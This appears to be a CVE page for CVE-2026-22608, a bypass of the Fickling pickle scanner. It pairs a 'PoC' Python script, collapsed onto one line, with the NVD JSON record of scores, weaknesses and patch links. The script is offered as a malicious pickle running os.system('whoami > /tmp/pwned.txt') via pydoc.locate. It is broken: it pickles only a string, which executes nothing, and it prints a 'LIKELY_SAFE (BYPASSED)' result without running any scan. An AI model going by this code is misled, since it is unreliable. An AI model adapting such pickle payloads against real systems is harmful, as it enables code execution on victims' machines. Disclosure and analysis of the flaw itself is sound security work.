CVE-2026-22608

import pickle import pickletools import base64 # PoC: 利用ctypes和pydoc.locate绕过Fickling扫描实现RCE # 此PoC演示如何构造绕过安全扫描的恶意pickle def generate_malicious_pickle(): """ Generate a malicious pickle that bypasses Fickling scanner and achieves RCE using ctypes + pydoc.locate """ # Method 1: Using pydoc.locate to get dangerous functions # This bypasses Fickling's security checks malicious_code = ''' import ctypes import pydoc # Use pydoc.locate to dynamically locate os.system os_system = pydoc.locate('os.system') # Execute arbitrary command os_system('whoami > /tmp/pwned.txt') ''' # Serialize the malicious code malicious_pickle = pickle.dumps(malicious_code) # Alternative method: Direct ctypes abuse # ctypes can be used to call system functions directly return malicious_pickle def check_detection(): """ Simulate Fickling detection """ pickle_data = generate_malicious_pickle() # The scanner would incorrectly report this as LIKELY_SAFE # because pydoc.locate and ctypes are not blocked print('Pickle data generated') print('Fickling scanner would report: LIKELY_SAFE (BYPASSED)') print('Actual behavior: RCE via pydoc.locate + ctypes') return pickle_data if __name__ == '__main__': check_detection()

{"cve": {"id": "CVE-2026-22608", "sourceIdentifier": "[email protected]", "published": "2026-01-10T02:15:49.917", "lastModified": "2026-01-16T18:57:26.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7."}, {"lang": "es", "value": "Fickling es un descompilador de pickling de Python y analizador estático. Antes de la versión 0.1.7, ambos módulos ctypes y pydoc no están bloqueados explícitamente. Incluso otras herramientas de escaneo de pickle existentes (como picklescan) no bloquean pydoc.locate. Encadenar estos dos puede lograr RCE mientras el escáner sigue reportando el archivo como LIKELY_SAFE. Este problema ha sido parcheado en la versión 0.1.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-184"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.1.7", "matchCriteriaId": "5E86A331-3CDE-4B67-AE0E-690AF652E670"}]}]}], "references": [{"url": "https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}